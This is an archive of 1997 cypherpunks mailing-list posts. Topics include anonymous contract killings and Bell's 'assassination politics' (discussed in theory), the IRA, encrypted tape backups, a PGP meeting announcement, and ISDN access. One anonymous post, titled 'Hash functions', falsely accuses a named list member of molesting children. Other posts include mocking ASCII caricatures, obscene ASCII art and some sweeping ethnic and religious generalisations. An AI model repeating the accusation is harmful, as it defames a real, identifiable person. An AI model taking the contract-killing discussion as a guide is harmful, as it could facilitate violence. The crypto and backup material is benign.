From: Wei Dai <weidai@eskimo.com>
Date: Wed, 11 Jun 1997 08:57:11 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Untraceable Contract Killings
In-Reply-To: <v03102818afc32f6b5b30@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970610172007.1148G-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Tim May wrote:

> By the way, this is not really Bell's "assassination politics," this is
> just anonymous contract killings, known about to some of us since Chaum's
> work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
> 
> I may sound touchy on this issue, but I'm seeing more and more articles
> here and relayed from outside essentially giving Bell the credit for
> inventing these kinds of markets, when in fact he's a relative latecomer.

I think the novelty of Bell's scheme is that it allows assassination
payments to be pooled from a large number of anonymous payers without
explicit coordination (i.e., the payers do not have to communicate with
each other to work out a contract, etc.).  For killing a neighbor it
doesn't improve upon the simple untraceable contract, but it can make a
big difference when the target has many enemies (Bell gave politicians as
an example).

Now in light of the fact that when the target has many enemies the
assassination becomes a non-excludable public good, it is almost certain
that the scheme cannot actually work in practice.  All of the potential
payers would rather free-ride and let others pay, so the public good ends
up not being "produced".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 11 Jun 1997 05:55:16 +0800
To: cypherpunks@toad.com
Subject: Law Enforcement Types Summary
Message-ID: <199706102140.RAA13605@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



 JUST A RECAP OF HOW OUR JUSTICE SYSTEM WORKS
 
 The LAPD, The FBI, and the CIA are all trying to prove that they are 
 the best at apprehending criminals. The President decides to give them 
 a test.  He releases a rabbit into a forest and each of them has to 
  catch it.
 
 The CIA goes in. They place animal informants throughout the forest. 
 They question all plant and mineral witnesses. After three months of 
 extensive investigations they conclude that rabbits do not exist.
 
 The FBI goes in. After two weeks with no leads they burn the forest, 
 killing everything in it, including the rabbit, and make no apologies. 
 The rabbit had it coming.
 
 The LAPD goes in. They come out two hours later with a badly beaten 
 bear.  The bear is yelling: "Okay! Okay! I'm a rabbit! I'm a rabbit!
 
 Case closed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 11 Jun 1997 08:54:38 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Untraceable Contract Killings
In-Reply-To: <v03102818afc32f6b5b30@[207.167.93.63]>
Message-ID: <199706110045.RAA13474@netcom16.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



TCM
>Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
>hardly matters who the "suspects" are, as nothing is provable. (Assuming no
>implicating ephemera are left lying around on disk drives....)
>
>By the way, this is not really Bell's "assassination politics," this is
>just anonymous contract killings, known about to some of us since Chaum's
>work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
>
>I may sound touchy on this issue, but I'm seeing more and more articles
>here and relayed from outside essentially giving Bell the credit for
>inventing these kinds of markets, when in fact he's a relative latecomer.

why be bashful, timmy? go ahead and say it. 
"I invented the concept of anonymous contract killings via cyberspace, 
and I'm quite proud of this, and it annoys me when people don't give me 
proper credit"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 11 Jun 1997 10:24:23 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <11LV8D23w165w@bwalk.dm.com>
Message-ID: <v03102800afc3acb3c6c8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I understand, but my point was that at some point the system of "law"
>became simply a system of supplicating the masses and no longer serves
>justice.  When the system of law ceases to be a system of law and becomes
>of system of corruption I no longer refer to it as law.  Important
>Orwellian distinction.  Never let the bastards control the definitions and
>language.

"Nothing distinguishes more clearly conditions in a free country from those
in a country under arbitrary government than the observance in the former
of the great principles known as the Rule of Law. Stripped of all
technicalities, this means that government in all its actions is bound by
rules fixed and announced beforehand-rules which make it possible to
foresee with fair certainty how the authority will use its coercive powers
in given circumstances and to plan one's individual affairs on the basis of
this knowledge."

>From "The Road to Surfdom," F.A. Hayek, as quoted from the classical
exposition by A. V. Dicey in "The Law of the Constitution" (8th ed.), p.
198, the Rule of Law "means, in the first place the absolute supremacy or
predominance of regular law as opposed to the influence of arbitrary power,
and excludes the existence of arbitrariness, of prerogative, or even of
wide discretionary authority on the part of government."

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 11 Jun 1997 07:24:31 +0800
To: cypherpunks@toad.com
Subject: Call 4 Participation
Message-ID: <v0302091fafc384d25912@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-spki@c2.org using -f
Date: Tue, 10 Jun 1997 14:29:10 -0700 (PDT)
From: Yahya Al-Salqan <Yahya.Abual-Salqan@corp.sun.com>
Reply-To: Yahya Al-Salqan <Yahya.Abual-Salqan@corp.sun.com>
Subject: Call 4 Participation
To: ssl-talk@netscape.com, spki@c2.net
Cc: SECURITY-TF@ILLILOUETTE.Sun.COM, Yahya.Abual-Salqan@corp.sun.com
MIME-Version: 1.0
Sender: owner-spki@c2.net
Precedence: bulk

The second IEEE International Workshop on Enterprise Security will take
place next week (June 18-21) at the MIT.
 The workshop will host a Panel discussion on the "Future of the Internet
Security at the IETF."  The Panelist are:
1) Carl Ellison, CyberCash, SPKI author at the IETF
2) Don Eastlake, CyberCash, Secure DNS author at the IETF
3) Perry Mitzger, Co-chair of SPKI and SecSH at the IETF
4) Tatu Ylonen, author SSH at IETF
5) Steve Lloyd, Entrust
6) Tom Polk, NIST, editor of PKIX at teh IETF

You are invited to take advantage of this opportunity to learn about the
future
of Internet security.

Visit http://www.cerc.wvu.edy/SECWK/  for more information on the
presentations
and discussion groups.

I look forward to meeting some of you at the Workshop,

Best Regards,

--Yahya Al-Salqan, PhD
Sun Microsystems
Enterprise Security General Chair

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 11 Jun 1997 07:55:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: None
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: <199706102339.SAA10425@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706101102.NAA05299@basement.replay.com>, on 06/10/97 
   at 01:02 PM, nobody@REPLAY.COM (Anonymous) said:

>The possibility of Microsoft killing their competition's engineers is
>somewhat more realistic, although lately they've been hiring a lot of
>them instead, so maybe they don't want to kill them. :)

Working at M$ is a fate worse than death.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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cR13xRVMdtlzVFHiEAewr45yQc+CFzwmS+hk+M9waZAsqlJkZ/SRi/YD2E1y7yxt
uyO+8AF8uQmMdY1ny6AGSxP3m14TExDAboE3Qdj9bIi1YMocEbwjdxv0Lup2CkbG
q/ABEB8mOvM=
=17oO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 11 Jun 1997 10:25:05 +0800
To: cypherpunks@toad.com
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage andCommunication
In-Reply-To: <Pine.SUN.3.96.970610145359.9093F-100000@beast.brainlink.com>
Message-ID: <v03102807afc3bb0c25af@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I wonder: if the data is well-encrypted, wouldn't it make the compression
>pretty ineffective?

Well encrypted data is, by definition, incompressible.  Data compression
is, for this reason, always preformed prior to encryption.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 11 Jun 1997 02:55:30 +0800
To: dlv@bwalk.dm.com
Subject: Re: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <6V618D47w165w@bwalk.dm.com>
Message-ID: <199706101825.TAA00741@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> >                               The people in NI have been there for
> > multiple generations, and probably also don't want to be relocated to
> > England.
> 
> Why is the rest of the UK obliged to cater to their desires?

Well I agree.  However I would guess that the people of NI could claim
if it suited that they _were_ english, and that the UK government was
therefor bound to provide military support, in the same way as for
borough of London say when it gets bombed by IRA.

That's socialism for you.  Say in the south of england (relatively
wealthy) we'd be better off if we didn't pay taxes to keep all the
unemployed in the north.

> What if the majority of the NI population felt that a special L1000
> poll tax should be imposed on the English, with the proceeds
> disbursed equally among the NI population?

That's called democracy you each vote to steal from other voters :-)

> >           Many of these people are English descent and their ancestors
> > where given land by the British government which was stolen from
> > native Irish about 300 years ago.  They have also intermarried.
> 
> Scottish descent, stricly speaking. Also at the rates the catholics
> are breeding, they'll be a minority soon.

I did hear that in the UK we'll all be in the minority to muslims by
2000 something for similar reasons.  (Don't have figures to back that
up, I'd guess it's exaggerated, but the trend is there, some
religions/nationalities have 6+ children each, whereas your average
honky has 1 or 2).

> > You should also realise that IRA and supporters are minority in NI
> > today, for a sense of perspective.
> 
> If you're such a strong believer in the rule of the majority :-), why
> should the NI protestants (who are a fraction of the total UK population)
> force the entire UK to do something that the rest of the UK doesn't want?

State police military is a socialist thing, the fact that they have
some claim to be english is enough justification in the eyes of
policians to interfere.  Obviously it's historical also.

IRA isn't at all popular in the UK either, peoples reactions are more
extreme than the UK military over there.  UK military is on best
behaviour, rules of engagement of no fire until fired upon, proof to
stand up in court etc.  Some soldier got tried and convicted for being
too trigger happy.  Soldiers don't like it over there, getting sniped
at, and not allowed to shoot back.  It is claimed that the military
know who all the IRA people are, but just can't pin anything on them
that would stick.  Your average UK person says: if you know who they
are why don't we send in the SAS and kill the bastards.

The IRA are a nuisance if for no other reason than they recently
altered UK law to remove right to silence because IRA suspects were
remaining silent, and with lack of evidence getting released.

So now, if you're silent, the judge can ask the jury to take this into
consideration (presumption of guilt, if you won't speak, you must have
something to hide).

Previously the converse was true, the judge was supposed to ensure the
jury understood that silence meant nothing.  You were obviously in
your best interests to say absolutely nothing.  As Duncan is fond of
pointing out, never say _anything_ to a policeman.  Your best tactic
was clearly not to even get involved in cross examination where you
could be made to look bad by clever lawyer even if completely
innocent, so no evidence, `no comment', `no comment' x 100, -> case
dismissed.

> > (I forget name, but there is a non-governmental paramilitary group on
> > other side to IRA in NI, occasionally there is rumor that British Army
> > is feeding this paramilitary organisation names of IRA suspects to
> > hit, to save them the trouble).
> 
> Is that the guys that Hallam Baker said he had asked to kill me? :-)

Guess so.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 01:53:51 +0800
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199706101740.TAA27226@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Given Tim May's propensity to molest little children, is it 
any surprise that the state of California wants to have him 
castrated?

      _  o
     |<)_/# Tim May
     TT  <T





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 11 Jun 1997 09:17:47 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <v03007852afc32baeb7d6@[207.94.249.152]>
Message-ID: <iiX48D62w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:

>
> At 5:27 PM -0700 6/8/97, Tim May wrote:
> >(Oh, and it almost goes without saying that the same "lies" William and
> >others are so worried about in "commercial" speech happen all the time in
> >non-commerical speech. For every example of where commercial speech
> >involves lies or fraud, I can find similar or fully equivalent
> >non-commercial examples, ranging from lies like "I love you" to get a
> >partner into bed to deliberate misstatements to mislead an opponent. Why
> >should such "lies" be protected while putatively commercial speech is to be
> >subjected to an increasing number of limitations?)
>
> The only justification I can think of off hand is that a presumption of
> truth may make for more efficient markets.  On the other hand, it also has
> very bad effects when applied to political speech.

I'm inclined to argue that "presumption of truth" and "implied warranty
of merchantability" actually lead to LESS efficient markets, but I'm
too tried tonite.  If anyone's interesting, please ping me later. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 11 Jun 1997 10:09:16 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [ADMINISTRATIVIUM] e$
In-Reply-To: <199706102345.BAA12345@basement.replay.com>
Message-ID: <Pine.A41.3.95.970610195520.95170A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Wed, 11 Jun 1997, Anonymous wrote:

> Timothy C. Mayonnaise is a pimply dweeb sitting at a computer chortling at his own 
> imagined cleverness.
> 
>    . o       c ,
>    `'#v-- --v#`' Timothy C. Mayonnaise
>     /'>     <`\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 11 Jun 1997 09:19:50 +0800
To: cypherpunks@toad.com
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: <Pine.SUN.3.96.970610145359.9093F-100000@beast.brainlink.com>
Message-ID: <95X48D67w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> writes:
> Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
> tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
> cassette. Fairly easy to guard, but, if your data is backed up in
> encrypted form (cyphertext), and not clear text, you don't even need to
> bother protecting the tape. (That is unless your backup software uses a
> weak cypher as most tend to do.)  [FYI: Your knowledge of tape
> technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
> Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
> audio cassettes) hold as much as 40Gb in a very small form factor.]

I'm actually thinking of getting a pair of 4mm tape drives to replace
my existing backup system (very old drives that use DC 600As; only
.25GB / drive, pretty slow, no NT drivers; time to upgrade)

I wonder: if the data is well-encrypted, wouldn't it make the compression
pretty ineffective?

Also: can somebody recommend good, fast 4MM drives that go inside a PC and
work off a SCSI controller, and are supported by Windows NT and 95 with no
special drivers? (I don't care about OS/2 and Linux support)

[I guess I'll burn the old media or something. :-) I still have about
3 cubic feet of 5.25" floppies that I don't know how to discard]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 11:46:39 +0800
To: cryptography@c2.net
Subject: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970610201850.0074dcc8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


      Cypherpunks June 97 Physical Meeting Announcement
      (SF Bay Area, Northern California chapter)

           Date: 14 June 1997 (second Saturday as usual) 
           Time: 12pm - 4pm 
           Host: Pretty Good Privacy, Inc. 
           Contact: Dave Del Torto - 415.596.1781 voice 

Agenda for 14 June 97 (subject to slight variations):

1.Angelos Keromytis & Hugh Daniel on their Linux IPSEC work: 
	Hot news from the recent IPSEC interoperability bake-off in Michigan

2.PGP 5.0 Source Code Release & Public Review: The first release of *all* 
	final PGP 5.0 source code to the People! PGP engineers will be
	present to discuss technical details and answer specific questions. 
	A number of copies will be available (free) to attendees who wish 
	to review the cryptography code (note: we recommend that you
      bring a box or bag, as it's 14 volumes and nearly 7,000 pages). 

3.HIP97 Trip Planning Committee: A group from California is planning on
	attending the 
	     Hacking in Progress '97 
	event sponsored by XS4ALL in the Netherlands (8/9/10 Aug). 
	This event is followed by the IETF meeting in Munich, and some will 
	continue on. We'll discuss our cooperative travel plans. 
	Cf. N.B.: Contact ASAP for flight info as flights are being booked 
	up rapidly (high tourist season). 
		[Editors Note:  _High_ tourists in Amsterdam??]

4. Ian Goldberg's Cool Canadian Crypto Software for Pilot Organizers
	If somebody from Berkeley can give Ian a ride,
	he'll demo the crypto libraries and applications he wrote
	while out of the US.

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty 
	(eg. if the guard is on a break), simply call me at 415.730.3583 
	and I'll let you in. 

      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 


Directions to PGP:

      Pretty Good Privacy's HQ is located at: 

      2121 South El Camino Real 
      9th Floor - (the meeting is on the 2nd Floor) 
      San Mateo CA 94403, USA 

                         Directions available here 
			http://www.pgp.com/pgpcorp/contactpgp.cgi#head
                                    or 
  follow DDT's Directions to PGP's HQ in San Mateo (fossil fuel version): 


                                    MACRO 

      From the North Bay: 

      Hwy 101 South (use right lanes after passing SFO) 
      EXIT Fwy 92 West (move to center lane immediately after ramp)... 
      or 280 South (take Hwy 92 East toward the Bay)... 

      From the South Bay: 

      101 North - EXIT Fwy 92 West (toward Half Moon Bay)... 
      280 North - EXIT Hwy 92 East (toward the Bay)... 

      From the East Bay: 

      San Mateo Bridge (Hwy 92 West) 
      GO past Hwy 101... 



                                     MICRO 

      Once you're on Hwy 92 (from either 280 or 101) 

      EXIT at SOUTH El Camino Real 
	(From 101 it's about a mile, and there are two El Camino exits!)
	(From 280 it's about 7 miles, after you've come down a steep grade,
	levelled out and passed under an overpass) 
      Curve around and down under freeway: you're now travelling south on
	El Camino Real. 
      Get in the LEFT lane *immediately*. (Directly in front of you, 
	you can see the Bayview Building a couple of blocks away: 
	it's the only highrise around.) 
      LEFT on 20th (The very first traffic light after exit ramp. 
	Taco Bell is on left). 
      RIGHT turn at next stop sign (residential street: Palm). 
      PROCEED 1.5 blocks. (Parking Garage entrance at rear of Bayview 
	building is on your right.) 
      PARK on the 2nd level. 

                                     NANO 

      Once you've parked your vehicle in the Garage (it's free): 
      STAIRS (or Elevator) to the main level, step out and... 
      WALK WEST across the courtyard to the main (tallest) building. 
      PASS through the doorway in the stand-alone exterior "glass wall" 
	and approach the "Information" window (also the Guard Station) 
	on the north side of the building. 
      GET the guard's attention (preferably *not* by waving a firearm).
	Use the passphrase and you'll be admitted.  If the guard's on a 
	break, call me at 415.730.3583. 
      ELEVATOR to 2nd Floor. (The meeting room is on left side, slightly
	down the hall) 

      Public Transit

      For CalTrain, get off at the San Mateo station near the Bay Meadows
	horse racing track and head for the tallest building around with
	the huge "Bayview" sign on top. It's a short walk or cab ride. 

      By bus, take any line running on El Camino Real to the intersection
	of 20th in San Mateo and dismount. Look up: you're there. 



- ------------------
Announcement also available at http://www.pgp.com/newsroom/cpunk-info.cgi


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Charset: noconv

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IN+R3j+A7AJno7lUxP612Ctm5m/3V2dAa5HrScyCfm3KUiPDxOqozQ==
=gMPf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 10:49:51 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: <95X48D67w165w@bwalk.dm.com>
Message-ID: <199706110235.VAA04670@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> Ray Arachelian <sunder@brainlink.com> writes:
> > Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
> > tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
> > cassette. Fairly easy to guard, but, if your data is backed up in
> > encrypted form (cyphertext), and not clear text, you don't even need to
> > bother protecting the tape. (That is unless your backup software uses a
> > weak cypher as most tend to do.)  [FYI: Your knowledge of tape
> > technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
> > Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
> > audio cassettes) hold as much as 40Gb in a very small form factor.]
> 
> I'm actually thinking of getting a pair of 4mm tape drives to replace
> my existing backup system (very old drives that use DC 600As; only
> .25GB / drive, pretty slow, no NT drivers; time to upgrade)
> 
> I wonder: if the data is well-encrypted, wouldn't it make the compression
> pretty ineffective?

You can compress before the encryption (if the encryption algorithm
does not do compression).

tar cvfz - /directory | Encrypt > /dev/ftape

or something like that.

Another thing to worry about is being able to at least partially restore
data if one or several blocks get corrupted.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 11 Jun 1997 23:11:21 +0800
To: cypherpunks@toad.com
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage and Communication
Message-ID: <199706111450.JAA01794@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <199706110235.VAA04670@manifold.algebra.com>, on 06/10/97 
   at 09:35 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Dr.Dimitri Vulis KOTM wrote:
>> Ray Arachelian <sunder@brainlink.com> writes:
>> > Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
>> > tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
>> > cassette. Fairly easy to guard, but, if your data is backed up in
>> > encrypted form (cyphertext), and not clear text, you don't even need to
>> > bother protecting the tape. (That is unless your backup software uses a
>> > weak cypher as most tend to do.)  [FYI: Your knowledge of tape
>> > technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
>> > Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
>> > audio cassettes) hold as much as 40Gb in a very small form factor.]
>> 
>> I'm actually thinking of getting a pair of 4mm tape drives to replace
>> my existing backup system (very old drives that use DC 600As; only
>> .25GB / drive, pretty slow, no NT drivers; time to upgrade)
>> 
>> I wonder: if the data is well-encrypted, wouldn't it make the compression
>> pretty ineffective?

>You can compress before the encryption (if the encryption algorithm does
>not do compression).

>tar cvfz - /directory | Encrypt > /dev/ftape

>or something like that.

>Another thing to worry about is being able to at least partially restore
>data if one or several blocks get corrupted.

Well for backup purposes one would probably want to do their encryption on
a block size < file size. As an example for a 1M file you could encrypt it
as 10 seperate 100k blocks (or any suitable block size) rather than
encrypting the entire file in one block. I have programs on my system that
will do this for me but it would be best if all of this was built into the
backup software.

Myself I don't use tape. I use mirrored HD's and MO's & CD for short &
long term archives.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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o+SB/TQWaJ8afwxdQr3N+aUyTCgxFEQjzNE1rsJF68/eZK5pxii5zbn/NkG1RiYx
3B340rEWGEk=
=5Dqc
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 11 Jun 1997 13:41:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Noise, California only] Good deal on ISDN access
In-Reply-To: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970610222830.0076124c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:55 AM 6/11/97 +0200, Anonymous wrote:
>Lucky Green sez:
[about ISDN]
>But don't they still charge you a penny a minute?

Not in the evening/night, which is when I tend to use my box at home. 

>When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
>month.  Not as fast, but a much better price/performance ratio.

Assuming you can get 56k over your POTS line. Less than 20% of US
households can even link up at 28.8k. ISDN is a clean solution that will
work over just about any old wire. And now it has become rather
inexpensive. I see little reason to stick with analog. YMMV.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 11 Jun 1997 13:43:46 +0800
To: ichudov@Algebra.COM (Igor Chudov)
Subject: Re: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <3.0.2.32.19970610223453.03c1b220@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:13 AM 6/11/97 -0500, Igor Chudov @ home wrote:
>
>Jim Choate wrote:
>>     ____________________________________________________________________
>>    |                                                                    | 
>>    |            _____                             The Armadillo Group   |
>>    |         ,::////;::-.                           Austin, Tx. USA     |
>>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>>    |      .',  ||||    `/( e\                                           |
>>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>>    |                                                 ravage@ssz.com     |
>>    |                                                  512-451-7087      |
>>    |____________________________________________________________________|
>> 
>
>                \=/,         _-===-_-====-_-===-_-==========-_-====-_
>                |  @___oo   (                                        )_
>      /\  /\   / (___,,,}_--=                                          )
>     ) /^\) ^\/ _)        =__                                         )
>     )   /^\/   _)          (_  This space intentionally left blank.  )
>     )   _ /  / _)            (                                        )
> /\  )/\/ ||  | )_)            (_                                     )
><  >      |(,,) )__)             (                                     )
> ||      /    \)___)\             (_                                 __)
> | \____(      )___) )___           -==-_____-=====-_____-=====-___==
>  \______(_______;;; __;;;
>
>


                           #    ###  #   # ##### tm
                          # #  #   # ## ## #
                         #   # #     # # # ###
                         ##### #   # #   # #
     INTRODUCING THE NEW #   #  ###  #   # ##### RECTAL HEDGEHOG INSERTER!
             
                            \\\\      |\            And here is our new
       Here we have        >>>>>o     | \____.  RECTAL HEDGEHOG INSERTER(tm)!
   an ORDINARY HEDGEHOG    ///////==  |  ____|     Guaranteed to turn even
           --->             ^^ ^^     | /        the most BORING hedgehog...
                                      |/

              ...into the MOST EXCITING EVENING OF *YOUR LIFE*!
                          TRY IT!  YOU'LL LIKE IT!
        (Supplies limited.  Prices subject to change without notice.)

-

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
